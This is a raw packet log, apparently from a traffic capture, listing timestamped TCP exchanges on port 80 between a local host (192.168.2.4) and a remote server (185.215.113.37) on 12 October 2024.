Oct 12, 2024 13:17:23.240381002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240390062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240415096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240437031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240453005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240468979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240488052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240521908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240536928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240536928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240556955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240592003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240605116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240605116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240629911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240664959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240680933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240680933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240701914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240735054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240747929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240747929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240768909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240803957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240817070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240817070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240838051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240870953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240871906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240886927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240906954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240926027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240941048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.240967035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.240976095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241008997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241015911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241015911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241043091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241065025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241076946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241111040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241125107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241125107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241144896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241167068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241179943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241204023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241213083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241246939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241256952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241256952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241281033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241314888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241324902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241326094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241344929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241378069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241384983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241411924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241415024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241436958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241449118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241482973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241496086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241496086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241517067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241549969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241564989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241564989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241581917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241605043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241616964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241632938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241652012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241677046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241687059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241719961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241731882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241731882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241754055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241787910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241807938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241807938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241822004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.241858959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.241926908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247370005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247456074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247481108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247536898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247566938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247581959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247581959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247617960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247636080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247673988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247680902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247709036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247744083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247767925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247767925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247777939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247802019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247814894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247844934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247848034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247879982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247903109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247905970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247936964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.247966051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.247993946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248018026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248045921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248054981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248081923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248111010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248126030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248126030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248162031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248177052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248214960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248222113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248248100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248279095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248282909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248315096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248337030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248337030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248348951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248377085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248383999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248409986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248420000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248440027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248471975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248497009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248507977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248521090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248543978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248568058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248577118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248611927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248629093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248629093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248665094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248667002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248698950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248733997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248737097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248768091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248780012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248780966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248820066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248822927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248853922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248891115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248892069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248908997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248949051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.248950005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.248984098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249001026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249016047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249028921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249051094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249083996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249103069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249103069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249118090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249150038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249164104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249164104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249183893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249217033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249228954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249228954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249250889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249284029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249298096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249298096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249317884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249351978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249365091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249365091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249386072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249420881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249420881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249437094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249456882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249475956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249509096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249510050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249543905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249577045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249589920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249589920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249633074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249633074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249687910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249695063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249739885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249773979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249787092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249787092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249834061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249874115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249926090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249931097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249962091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.249994040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.249995947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250021935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250030994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250056982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250063896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250091076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250101089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250122070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250134945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250157118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250170946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250196934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250202894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250230074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250236988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250247002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250269890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250303984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250319004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250319004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250340939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250375986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250395060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250395060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250411987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250433922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250447035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250480890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250513077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250513077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250513077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250531912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250549078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250582933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250585079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250607967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250617981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250650883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250669956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250670910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250684977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250708103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250720024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250746965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250752926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250787020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250787020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250813961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250822067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250832081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250859022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250885963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250890970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250925064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250937939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250953913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.250960112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.250994921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251014948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251014948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251029015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251045942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251064062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251096964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251101017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251125097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251132011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251146078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251164913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251199961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251209974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251234055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251261950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251261950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251269102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251302004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251319885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251319885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251336098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251355886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251369953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251389980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251418114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251429081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251462936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251482010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251496077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251528978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251535892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251535892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251563072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251596928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251626968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251626968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251631021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251653910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251666069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251684904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251698971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251734018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251754045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251754999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251770020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251804113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251818895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251818895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251837015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251857042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251869917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251905918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251913071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251913071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.251946926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251981974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.251981974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252046108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252068996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252084017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252104998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.252125978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.252139091 CEST	80	49730	185.215.113.37	192.168.2.4
